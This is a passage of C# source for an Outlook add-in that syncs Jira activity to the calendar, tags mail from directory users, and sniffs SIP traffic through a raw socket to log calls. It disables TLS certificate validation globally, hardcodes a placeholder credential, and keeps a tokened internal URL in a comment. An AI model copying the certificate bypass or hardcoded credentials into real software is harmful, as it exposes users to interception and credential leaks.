1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 |
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Xml.Linq; using Outlook = Microsoft.Office.Interop.Outlook; using Office = Microsoft.Office.Core; using System.Windows.Forms; using System.Runtime.InteropServices; using System.DirectoryServices.AccountManagement; using System.DirectoryServices; using System.Collections; using System.Xml; using System.Xml.XPath; using System.Net; using System.Diagnostics; using System.Text.RegularExpressions; namespace EmailManager { public partial class ThisAddIn { Timer MyTimer = new Timer(); private void ClearCalendarAudits() { try { Outlook.Folder calFolder = Application.Session.GetDefaultFolder(Outlook.OlDefaultFolders.olFolderCalendar) as Outlook.Folder; DateTime start = DateTime.Now.AddDays(-7); DateTime end = DateTime.Now; Outlook.Items rangeAppts = GetAppointmentsInRange(calFolder, start, end); if (rangeAppts != null) { foreach (Outlook.AppointmentItem appt in rangeAppts) { //Debug.WriteLine(DateTime.Now.ToString() + " - " +"Subject: " + appt.Subject + " Start: " + appt.Start.ToString("g")); if (appt.Subject.StartsWith(" IS-")) { System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +appt.Start + " - " + appt.Subject + " Found !"); appt.Delete(); } } } } catch { } } private void JiraToCalendar(string LogItemsCount) { Log[] ActivityLog = GetJiraActivity("EID", LogItemsCount); if (ActivityLog == null) { return; } foreach (var MyLog in ActivityLog) { //Debug.WriteLine(DateTime.Now.ToString() + " - " +DateTime.Parse(MyLog.Published, System.Globalization.CultureInfo.InvariantCulture) + " - " + MyLog.Summary + " - " + MyLog.Ticket); if (!AddAppointment(" " + MyLog.Ticket + " - " + MyLog.Summary, DateTime.Parse(MyLog.Published, System.Globalization.CultureInfo.InvariantCulture).AddMinutes(-15))) //Adjust the 15s to show work in the past { //break; } } } private void TimerCount_Tick(System.Object sender, System.EventArgs e) { JiraToCalendar("10"); } private void ThisAddIn_Startup(object sender, System.EventArgs e) { ServicePointManager.ServerCertificateValidationCallback = AcceptAllCertifications; ServicePointManager.Expect100Continue = true; ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; MarkEmailsAsHuman(); MyTimer.Interval = 60000 * 3; MyTimer.Tick += TimerCount_Tick; MyTimer.Start(); //ClearCalendarAudits(); JiraToCalendar("30"); //this.Application.NewMail += new Microsoft.Office.Interop.Outlook.ApplicationEvents_11_NewMailEventHandler(_NewMail); this.Application.NewMailEx += new Microsoft.Office.Interop.Outlook.ApplicationEvents_11_NewMailExEventHandler(Application_NewMailEx); ListenForRawData(); } private void ThisAddIn_Shutdown(object sender, System.EventArgs e) { // Note: Outlook no longer raises this event. If you have code that // must run when Outlook shuts down, see https://go.microsoft.com/fwlink/?LinkId=506785 } private bool AddAppointment(string subject, DateTime StartDate) { try { Outlook.Folder calFolder = Application.Session.GetDefaultFolder(Outlook.OlDefaultFolders.olFolderCalendar) as Outlook.Folder; DateTime start = StartDate.AddMinutes(-10); //Cloup updates together between DateTime end = start.AddMinutes(45); Outlook.Items rangeAppts = GetAppointmentsInRange(calFolder, start, end); if (rangeAppts != null) { foreach (Outlook.AppointmentItem appt in rangeAppts) { //Debug.WriteLine(DateTime.Now.ToString() + " - " +"Subject: " + appt.Subject + " Start: " + appt.Start.ToString("g")); if (appt.Subject == subject) { System.Diagnostics.Debug.WriteLine("\t" + DateTime.Now.ToString() + " - " +appt.Subject + " Already exist!"); return false; //Cant tell the difference between a duped and clumped work. need to add a UID } } } } catch { } try { Outlook.AppointmentItem newAppointment = (Outlook.AppointmentItem)this.Application.CreateItem(Outlook.OlItemType.olAppointmentItem); newAppointment.Start = StartDate; newAppointment.End = StartDate.AddMinutes(15); newAppointment.Location = "N/A"; newAppointment.Body = ""; newAppointment.AllDayEvent = false; newAppointment.Subject = subject; newAppointment.ReminderSet = false; newAppointment.Categories = "Jira"; newAppointment.Sensitivity = Outlook.OlSensitivity.olPrivate; /* newAppointment.Recipients.Add("Roger Harui"); * Outlook.Recipients sentTo = newAppointment.Recipients; Outlook.Recipient sentInvite = null; sentInvite = sentTo.Add("Holly Holt"); sentInvite.Type = (int)Outlook.OlMeetingRecipientType .olRequired; sentInvite = sentTo.Add("David Junca "); sentInvite.Type = (int)Outlook.OlMeetingRecipientType .olOptional; sentTo.ResolveAll(); */ newAppointment.Save(); //newAppointment.Display(true); } catch (Exception ex) { MessageBox.Show("The following error occurred: " + ex.Message); } return true; } private bool AddCallLog(string subject, double seconds) { DateTime start = DateTime.Now.AddSeconds(-seconds); //Watch this, it seems to be multiplying and not adding DateTime end = DateTime.Now; try { Outlook.Folder calFolder = Application.Session.GetDefaultFolder(Outlook.OlDefaultFolders.olFolderCalendar) as Outlook.Folder; Outlook.Items rangeAppts = GetAppointmentsInRange(calFolder, start, end); if (rangeAppts != null) { foreach (Outlook.AppointmentItem appt in rangeAppts) { //Debug.WriteLine(DateTime.Now.ToString() + " - " +"Subject: " + appt.Subject + " Start: " + appt.Start.ToString("g")); if (appt.Subject == subject) { System.Diagnostics.Debug.WriteLine("\t" + DateTime.Now.ToString() + " - " +appt.Subject + " Already exist!"); return false; //Cant tell the difference between a duped and clumped work. need to add a UID } } } } catch { } try { Outlook.AppointmentItem newAppointment = (Outlook.AppointmentItem)this.Application.CreateItem(Outlook.OlItemType.olAppointmentItem); newAppointment.Start = start; newAppointment.End = end; newAppointment.Location = "N/A"; newAppointment.Body = ""; newAppointment.AllDayEvent = false; newAppointment.Subject = subject; newAppointment.ReminderSet = false; newAppointment.Categories = "PhoneCall"; newAppointment.Sensitivity = Outlook.OlSensitivity.olPrivate; newAppointment.Save(); //newAppointment.Display(true); } catch (Exception ex) { MessageBox.Show("The following error occurred: " + ex.Message); } return true; } private Outlook.Items GetAppointmentsInRange(Outlook.Folder folder, DateTime startTime, DateTime endTime) { string filter = "[Start] >= '" + startTime.ToString("g") + "' AND [End] <= '" + endTime.ToString("g") + "'"; Debug.WriteLine(DateTime.Now.ToString() + " - " +filter); try { Outlook.Items calItems = folder.Items; calItems.IncludeRecurrences = true; calItems.Sort("[Start]", Type.Missing); Outlook.Items restrictItems = calItems.Restrict(filter); if (restrictItems.Count > 0) { return restrictItems; } else { return null; } } catch { return null; } } ArrayList Humans = new ArrayList(); ArrayList NonHumans = new ArrayList(); object Item = null; Outlook._MailItem moveMail = null; Outlook.Items resultItems = null; private void Application_NewMailEx(string EntryIDCollection) { /*string senderEmailid = string.Empty; Outlook.NameSpace outlookNameSpace = this.Application.GetNamespace("MAPI"); Outlook.Application myApp = new Outlook.Application(); Outlook.NameSpace mapiNameSpace = myApp.GetNamespace("MAPI"); Outlook.MAPIFolder myInbox = mapiNameSpace.GetDefaultFolder(Outlook.OlDefaultFolders.olFolderInbox); Outlook.Attachments attachments; int test = myInbox.Items.Count; */ object Item = Application.Session.GetItemFromID(EntryIDCollection, Type.Missing) as Outlook.MailItem; if (Item is Outlook._MailItem) { ProcessMailItem(Item as Outlook.MailItem); } } private void MarkEmailsAsHuman() { Outlook.MAPIFolder inBox = (Outlook.MAPIFolder) this.Application.ActiveExplorer().Session.GetDefaultFolder(Outlook.OlDefaultFolders.olFolderInbox); Outlook.Items inboxitems = (Outlook.Items)inBox.Items; //sFilter = "[LastModificationTime] > '" & Format("1/15/99 3:30pm", "ddddd h:nn AMPM") & "'" //items.Restrict("[UnRead] = true"); //Outlook.MAPIFolder destFolder = inBox.Folders ["Inbox"]; //Outlook.MAPIFolder destFolder = this.Application.ActiveExplorer().Session.GetDefaultFolder(Outlook.OlDefaultFolders.olFolderInbox); string Restricting = "([LastModificationTime] > '" + DateTime.Now.AddDays(-2).ToString("yyyy-MM-dd HH:mm") + "' or [ReceivedTime] > '" + DateTime.Now.AddDays(-2).ToString("yyyy-MM-dd HH:mm") + "')"; //string Restricting = "[UnRead] = true and ([LastModificationTime] > '" + DateTime.Now.AddDays(-2).ToString("yyyy-MM-dd HH:mm") + "' or [ReceivedTime] > '" + DateTime.Now.AddDays(-2).ToString("yyyy-MM-dd HH:mm") + "')"; //string Restricting = "[UnRead] = true"; resultItems = inboxitems.Restrict(Restricting); //Dictionary<string, string> SenderToAD = new Dictionary<string, string>(); Item = resultItems.GetFirst(); while (Item != null) { if (Item is Outlook._MailItem) { ProcessMailItem(Item as Outlook.MailItem); } Marshal.ReleaseComObject(Item); Item = resultItems.GetNext(); } /* foreach (object eMail in resultItems) { moveMail = eMail as Outlook.MailItem; try { if (!(moveMail is null)) { System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +moveMail.UnRead + " " + moveMail.ReceivedTime + " / " + moveMail.LastModificationTime + " - " + (string)moveMail.SenderEmailAddress + " " + (string)moveMail.Subject); //if (!(moveMail.ReceivedTime is null)) //{ if (moveMail.ReceivedTime > (DateTime.Now.AddDays(-2))) { if (!(moveMail.Subject is null)) { if (moveMail.SenderEmailAddress.StartsWith("/O=EISENHOWER MEDICAL CENTER", StringComparison.OrdinalIgnoreCase)) { if (!(moveMail.Categories is null)) { System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +moveMail.Categories); } if (moveMail.Categories != "Human") { moveMail.Categories = "Human"; moveMail.Save(); } //string titleSubject = (string)moveMail.Subject; } } } else { //return; } //} } } catch (Exception ex) { return; MessageBox.Show(ex.Message); if (ex.Message.StartsWith("Out of memory or system resources", StringComparison.OrdinalIgnoreCase)) { Application.Quit(); } } } */ } private void ProcessMailItem(Outlook.MailItem Item) { if (Item is Outlook._MailItem) { moveMail = Item as Outlook.MailItem; if (Humans.Contains(moveMail.SenderEmailAddress)) { if (moveMail.Categories != "Human") { moveMail.Categories = "Human"; moveMail.Save(); } return; } if (NonHumans.Contains(moveMail.SenderEmailAddress)) { return; } Outlook.Recipient recipient = moveMail.Application.Session.CreateRecipient(moveMail.SenderEmailAddress); System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +moveMail.SenderEmailAddress + " " + (string) moveMail.Subject); if (recipient != null && recipient.Resolve() && recipient.AddressEntry != null) { Outlook.ExchangeUser exUser = recipient.AddressEntry.GetExchangeUser(); if (exUser != null && !string.IsNullOrEmpty(exUser.Alias)) { using (PrincipalContext pc = new PrincipalContext(ContextType.Domain)) { /*System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +exUser.Alias + " - " + exUser.Address); if (exUser.Alias == "ssharpe") { System.Diagnostics.Debugger.Break(); } */ UserPrincipal up = UserPrincipal.FindByIdentity(pc, exUser.Alias); if (up != null) { DirectoryEntry directoryEntry = up.GetUnderlyingObject() as DirectoryEntry; System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +directoryEntry.Path); if (directoryEntry.Properties.Contains("wWWHomePage")) { //deliveryOffice = directoryEntry.Properties["wWWHomePage"].Value.ToString(); //System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +moveMail.UnRead + " " + moveMail.ReceivedTime + " / " + moveMail.LastModificationTime + " - " + (string)moveMail.SenderEmailAddress + " " + (string)moveMail.Subject); if (moveMail.ReceivedTime > (DateTime.Now.AddDays(-2))) { if (!(moveMail.Subject is null)) { if (moveMail.SenderEmailAddress.StartsWith("/O=EISENHOWER MEDICAL CENTER", StringComparison.OrdinalIgnoreCase)) { Humans.Add(moveMail.SenderEmailAddress); if (moveMail.Categories != "Human") { if (!(moveMail.Categories is null)) { System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +moveMail.Categories); } moveMail.Categories = "Human"; moveMail.Save(); } //string titleSubject = (string)moveMail.Subject; } } } } else { NonHumans.Add(moveMail.SenderEmailAddress); moveMail.Categories = ""; moveMail.Save(); System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +"1"); } } else { NonHumans.Add(moveMail.SenderEmailAddress); moveMail.Categories = ""; moveMail.Save(); System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +"2"); } } } else { NonHumans.Add(moveMail.SenderEmailAddress); System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +moveMail.Subject); moveMail.Categories = ""; moveMail.Save(); System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +"3"); } } else { NonHumans.Add(moveMail.SenderEmailAddress); moveMail.Categories = ""; moveMail.Save(); System.Diagnostics.Debug.WriteLine(DateTime.Now.ToString() + " - " +"4"); } } } //https://jira.FQDN.org/plugins/servlet/gadgets/ifr?container=atlassian&mid=1&country=US&lang=en&view=default&view-params=%7B%22writable%22%3A%22false%22%7D&st=atlassian%3ACHEhujCuDk7wVctYMBFtIB6EC%2FsWWjT0NvqsMcRrrEjOTyApQg5A%2Bx%2FF6RMyK3KngdA2uz0YCRp66uc18ivqE0uu%2B8qzlP6%2F2bEudWu5oAcCkP8LVpCd7vERN1liX8wsnQ%2F8ARYrcH%2F82pOewKgs52752hgU8%2FoVLVgbin%2BpIMbCZGR8%2FG6IsPfPfci6%2Bt4HtjXsYZObGEC%2BnzjFs0j8OJmsxZSPI%2FZ8NCky1Ikty%2B85LF3vWK%2F4cVz8BaeTwyiRtL9HWkOHzBvVEAZeG5XttSA%2FiRk%3D&up_isConfigured=true&up_isReallyConfigured=false&up_title=Activity+Stream&up_titleRequired=false&up_numofentries=10&up_refresh=false&up_maxProviderLabelCharacters=50&up_rules=&up_renderingContext=&up_keys=&up_itemKeys=&up_username=EID&url=https%3A%2F%2Fjira.FQDN.org%2Frest%2Fgadgets%2F1.0%2Fg%2Fcom.atlassian.streams.streams-jira-plugin%2Fgadgets%2Factivitystream-gadget.xml&libs=auth-refresh#rpctoken=988677668 const string JiraURL = "https://jira.FQDN.org/activity?maxResults=10&streams=user+IS+EID&os_authType=basic&title=mytitle"; private struct Log { public string Ticket; public string Published; public string Summary; } private Log[] GetJiraActivity(string UserEID, string MaxResults) { Log[] MyLogsToReturn = new Log[Convert.ToInt32(MaxResults)]; int I = -1; // Create a WebRequest to the remote site System.Net.HttpWebRequest request = (System.Net.HttpWebRequest)System.Net.HttpWebRequest.Create("https://jira.FQDN.org/activity?maxResults=" + MaxResults + "&streams=user+IS+" + UserEID + "&os_authType=basic&title=mytitle"); // NB! Use the following line ONLY if the website is protected request.UseDefaultCredentials = true; request.UserAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"; request.Credentials = CredentialCache.DefaultNetworkCredentials; request.Credentials = new System.Net.NetworkCredential("EID", "Password"); System.Net.HttpWebResponse response = null; // Call the remote site, and parse the data in a response object try { response = (HttpWebResponse)request.GetResponse(); } catch { return null; } // Check if the response is OK (status code 200) if (response.StatusCode == System.Net.HttpStatusCode.OK) { // Parse the contents from the response to a stream object System.IO.Stream stream = response.GetResponseStream(); // Create a reader for the stream object System.IO.StreamReader reader = new System.IO.StreamReader(stream); // Read from the stream object using the reader, put the contents in a string string contents = reader.ReadToEnd(); // Create a new, empty XML document System.Xml.XmlDocument document = new System.Xml.XmlDocument(); // Load the contents into the XML document document.LoadXml(contents); // // XmlNamespaceManager nsmgr = new XmlNamespaceManager(document.NameTable); nsmgr.AddNamespace("http://www.w3.org/2005/Atom", document.DocumentElement.NamespaceURI); // Now you have a XmlDocument object that contains the XML from the remote site, you can // use the objects and methods in the System.Xml namespace to read the document XmlNodeList rssNodes = document.SelectNodes("//feed/entry"); StringBuilder rssContent = new StringBuilder(); foreach (XmlNode MyNode in document.ChildNodes) { } XPathDocument xpathDoc; XPathNavigator xmlNav; XPathNodeIterator xmlNI; XmlReader XmlReader = new XmlNodeReader(document); xpathDoc = new XPathDocument(XmlReader); xmlNav = xpathDoc.CreateNavigator(); xmlNI = xmlNav.Select("/"); xmlNI.MoveNext(); xmlNI.Current.MoveToFirstChild(); if (!(xmlNI.Current.IsEmptyElement)) { } if ((xmlNI.Current.HasChildren)) { while ((xmlNI.Current.Name != "feed")) xmlNI.MoveNext(); xmlNI.Current.MoveToFirstChild(); while ((xmlNI.Current.Name != "entry")) xmlNI.Current.MoveToNext(); xmlNI.Current.MoveToFirstChild(); bool RestartWhile = false; while (true) { if ((!RestartWhile)) { I += 1; while ((xmlNI.Current.Name != "published")) { if ((!xmlNI.Current.MoveToNext())) return null; if ((xmlNI.Current.Name == "published")) { MyLogsToReturn[I].Published = xmlNI.Current.Value; // Debug.WriteLine(DateTime.Now.ToString() + " - " +xmlNI.Current.Name + " : " + xmlNI.Current.Value) break; } } } RestartWhile = false; while ((xmlNI.Current.Name != "activity:target" & xmlNI.Current.Name != "activity:object")) { if ((!xmlNI.Current.MoveToNext())) return null; } xmlNI.Current.MoveToFirstChild(); while ((xmlNI.Current.Name != "title")) { if ((!xmlNI.Current.MoveToNext())) { xmlNI.Current.MoveToParent(); xmlNI.Current.MoveToNext(); RestartWhile = true; break; } if ((xmlNI.Current.Value.Contains("IS-"))) MyLogsToReturn[I].Ticket = xmlNI.Current.Value; } if (RestartWhile) continue; while ((xmlNI.Current.Name != "summary")) { if ((!xmlNI.Current.MoveToNext())) { xmlNI.Current.MoveToParent(); xmlNI.Current.MoveToNext(); RestartWhile = true; break; } if ((xmlNI.Current.Name == "summary")) MyLogsToReturn[I].Summary = xmlNI.Current.Value; } if (RestartWhile) continue; xmlNI.Current.MoveToParent(); xmlNI.Current.MoveToParent(); if ((!xmlNI.Current.MoveToNext())) break; xmlNI.Current.MoveToFirstChild(); } return MyLogsToReturn; } } else { // If the call to the remote site fails, you'll have to handle this. There can be many reasons, ie. the // remote site does not respond (code 404) or your username and password were incorrect (code 401) // // See the codes in the System.Net.HttpStatusCode enumerator throw new Exception("Could not retrieve document from the URL, response code: " + response.StatusCode); } return null; } public bool AcceptAllCertifications(object sender, System.Security.Cryptography.X509Certificates.X509Certificate certification, System.Security.Cryptography.X509Certificates.X509Chain chain, System.Net.Security.SslPolicyErrors sslPolicyErrors) { return true; } ArrayList ByeServerList = new ArrayList(); ArrayList ByeSipList = new ArrayList(); ArrayList PhonePickedUpList = new ArrayList(); private System.Net.Sockets.Socket RAWSocket; private const int IOC_VENDOR = 0x18000000; private const int IOC_IN = -2147483648; private const int SIO_RCVALL = IOC_IN | IOC_VENDOR | 1; private const int SECURITY_BUILTIN_DOMAIN_RID = 0x20; private const int DOMAIN_ALIAS_RID_ADMINS = 0x220; private string MyIPAddr = ""; private StateObject MyStateObject; public class StateObject { public System.Net.Sockets.Socket workSocket = null; public const int BUFFER_SIZE = 65535; public byte[] buffer = new byte[65536]; public System.Text.StringBuilder sb = new System.Text.StringBuilder(); } // StateObject private void ListenForRawData() { // To get local address string sHostName; sHostName = System.Net.Dns.GetHostName(); System.Net.IPHostEntry ipE = System.Net.Dns.GetHostByName(sHostName); System.Net.IPAddress[] IpA = ipE.AddressList; MyIPAddr = IpA[0].ToString(); MyStateObject = new StateObject(); RAWSocket = new System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, System.Net.Sockets.SocketType.Raw, System.Net.Sockets.ProtocolType.IP); byte[] OptionIn = BitConverter.GetBytes(1); byte[] OptionOut = null; byte[] InByte = new byte[] { 1, 0, 0, 0 }; byte[] outByte = new byte[5]; // RAWSocket.Bind(New System.Net.IPEndPoint(Net.IPAddress.Any, 0)) RAWSocket.Bind(new System.Net.IPEndPoint(System.Net.IPAddress.Parse(MyIPAddr), 0)); // must be bound to a IP // RAWSocket.IOControl(SIO_RCVALL, InByte, outByte); RAWSocket.BeginReceive(MyStateObject.buffer, 0, StateObject.BUFFER_SIZE, System.Net.Sockets.SocketFlags.Peek, new AsyncCallback(SockCallBack), null); Debug.WriteLine(DateTime.Now.ToString() + " - " +"Listening On: " + MyIPAddr); } private void SockCallBack(System.IAsyncResult ar) { var BytesReturned = RAWSocket.EndReceive(ar); string ListboxData = null; switch (MyStateObject.buffer[9]) { case 0x1 // Protocol ICMP : { break; } case 0x2: { break; } case 0x6 // TCP : { break; } case 0x11 // UDP : { break; } default: { break; } } // For i = 0 To BytesReturned - 1 // Debug.Write(Hex$(MyStateObject.buffer(i)) & " ") // If i = 9 Or i = 19 Or i = 29 Or i = 39 Or i = 49 Then Debug.WriteLine(DateTime.Now.ToString() + " - " +"") // Next // Debug.WriteLine(DateTime.Now.ToString() + " - " +"") // Debug.WriteLine(DateTime.Now.ToString() + " - " +"") // switch (MyStateObject.buffer[9]) { case 0x1: { string FROMIP = MyStateObject.buffer[12] + "." + MyStateObject.buffer[13] + "." + MyStateObject.buffer[14] + "." + MyStateObject.buffer[15]; string DESTIP = MyStateObject.buffer[16] + "." + MyStateObject.buffer[17] + "." + MyStateObject.buffer[18] + "." + MyStateObject.buffer[19]; if (FROMIP == MyIPAddr) { if (MyStateObject.buffer[20] == 0) Debug.WriteLine(DateTime.Now.ToString() + " - " +"You sent a Ping Reply to: " + DESTIP); else Debug.WriteLine(DateTime.Now.ToString() + " - " +"You sent a Ping Request to: " + DESTIP); RAWSocket.BeginReceive(MyStateObject.buffer, 0, 65535, System.Net.Sockets.SocketFlags.None, new AsyncCallback(SockCallBack), null); return; } if (MyStateObject.buffer[20] == 0) { Debug.WriteLine(DateTime.Now.ToString() + " - " +"Ping Reply: " + FROMIP); RAWSocket.BeginReceive(MyStateObject.buffer, 0, 65535, System.Net.Sockets.SocketFlags.None, new AsyncCallback(SockCallBack), null); return; } Debug.WriteLine(DateTime.Now.ToString() + " - " +"Ping Request From - " + FROMIP + " | Bytes: " + (BytesReturned - 28) + " | TTL=" + MyStateObject.buffer[8]); // -28 shows the ping payload break; } case 0x2: { break; } case 0x6: { //Debug.WriteLine(DateTime.Now.ToString() + " - " +"TCP "); uint DestPort = MyStateObject.buffer[22]; DestPort <<= 8; DestPort += MyStateObject.buffer[23]; uint SrcPort = MyStateObject.buffer[20]; SrcPort <<= 8; SrcPort += MyStateObject.buffer[21]; string FROMIP = MyStateObject.buffer[12] + "." + MyStateObject.buffer[13] + "." + MyStateObject.buffer[14] + "." + MyStateObject.buffer[15]; string Data = null; // = System.Text.ASCIIEncoding.ASCII.GetString(MyStateObject.buffer) if (DestPort != 5060 && SrcPort != 5060) { RAWSocket.BeginReceive(MyStateObject.buffer, 0, 65535, System.Net.Sockets.SocketFlags.None, new AsyncCallback(SockCallBack), null); return; } foreach (byte MyByte in MyStateObject.buffer) { if ((MyByte >= 32 && MyByte <= 126) || MyByte == 0x0d || MyByte == 0x0a) Data += System.Text.ASCIIEncoding.ASCII.GetString(new[] { MyByte }); } Debug.WriteLine("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"); //Debug.WriteLine(DateTime.Now.ToString() + " - " + "Data: " + SrcPort + " -> " + DestPort + " | " + Data); string myTo = null; string myFrom = null; string myDuration = null; MatchCollection matches = Regex.Matches(Data, @"(To|From):.*?<sip:[%|\d]{1,14}@.*?>"); // Loop over matches. foreach (Match m in matches) { // Loop over captures. foreach (Capture c in m.Captures) { // Display. // Console.WriteLine("Index={0}, Value={1}", c.Index, c.Value) if (c.Value.Contains("From:")) myFrom = c.Value; if (c.Value.Contains("To:")) myTo = c.Value; } } if (myTo == null || myFrom == null) { // System.Diagnostics.Debugger.Break(); RAWSocket.BeginReceive(MyStateObject.buffer, 0, 65535, System.Net.Sockets.SocketFlags.None, new AsyncCallback(SockCallBack), null); Debug.WriteLine("No to and from, Skipping..."); if (Data.Contains("BYE") && Data.Contains("RTP-TxStat:")) { //System.Diagnostics.Debugger.Break(); } return; } if (Data.Contains("INVITE sip")) Debug.WriteLine(DateTime.Now.ToString() + " - " +"Incomming call: " + myFrom + " -> " + myTo); if (Data.Contains("Request Cancelled")) Debug.WriteLine(DateTime.Now.ToString() + " - " +"Request Canceled: " + myFrom + " -> " + myTo); //PhonePickedUpList if (Data.Contains("ACK sip:")) { MatchCollection matches3 = Regex.Matches(Data, @"Session-ID: [[0-9a-fA-F]+;"); // Loop over matches. foreach (Match m in matches3) { if (PhonePickedUpList.Contains(m.Value)) { //Debug.WriteLine(DateTime.Now.ToString() + " - " +"Call Concluded"); RAWSocket.BeginReceive(MyStateObject.buffer, 0, 65535, System.Net.Sockets.SocketFlags.None, new AsyncCallback(SockCallBack), null); return; } PhonePickedUpList.Add(m.Value); } Debug.WriteLine(DateTime.Now.ToString() + " - " + "Callee Picked up the phone: " + myFrom + " -> " + myTo); } if (Data.Contains("SIP/2.0 180 Ringing")) Debug.WriteLine(DateTime.Now.ToString() + " - " +"Ringing Phone: " + myFrom + " -> " + myTo); if (Data.Contains("UPDATE sip")) Debug.WriteLine(DateTime.Now.ToString() + " - " + "UPDATE sip: " + myFrom + " -> " + myTo); if (Data.Contains("CANCEL sip")) // Call missed Debug.WriteLine(DateTime.Now.ToString() + " - " +"CANCEL sip: " + myFrom + " -> " + myTo); if (Data.Contains("UPDATE sip")) Debug.WriteLine(DateTime.Now.ToString() + " - " +"UPDATE sip: " + myFrom + " -> " + myTo); if (Data.Contains("BYE sip")) { MatchCollection matches3 = Regex.Matches(Data, @"Session-ID: [[0-9a-fA-F]+;"); // Loop over matches. foreach (Match m in matches3) { if (ByeSipList.Contains(m.Value)) { //Debug.WriteLine(DateTime.Now.ToString() + " - " +"Call Concluded"); RAWSocket.BeginReceive(MyStateObject.buffer, 0, 65535, System.Net.Sockets.SocketFlags.None, new AsyncCallback(SockCallBack), null); return; } ByeSipList.Add(m.Value); } Debug.WriteLine(DateTime.Now.ToString() + " - " +"Call ending: " + myFrom + " -> " + myTo); MatchCollection matches2 = Regex.Matches(Data, @"RTP-RxStat: Dur=[\d]+,"); // Loop over matches. foreach (Match m in matches2) { myDuration = m.Value.ToString().Replace("RTP-RxStat: Dur=", "").Replace(",", ""); Debug.WriteLine(DateTime.Now.ToString() + " - " +"BYE sip: Duration of call in seconds: " + myDuration); } if (myDuration != null) { Int32 ISeconds = Convert.ToInt32(myDuration) + 60; Double DSeconds = Convert.ToDouble(ISeconds); if (!AddCallLog(" " + myFrom + " -> " + myTo, DSeconds)) //Add a minute to each call. Each call takes at least a minute of our day right? { Debug.WriteLine(DateTime.Now.ToString() + " - " +"Failed to write calllog"); //break; } } } if (Data.Contains("BYE\r\nServer: Cisco-CSF") && Data.Contains("RTP-TxStat:")) //OKVia: SIP { MatchCollection matches3 = Regex.Matches(Data, @"Session-ID: [[0-9a-fA-F]+;"); // Loop over matches. foreach (Match m in matches3) { if (ByeServerList.Contains(m.Value)) 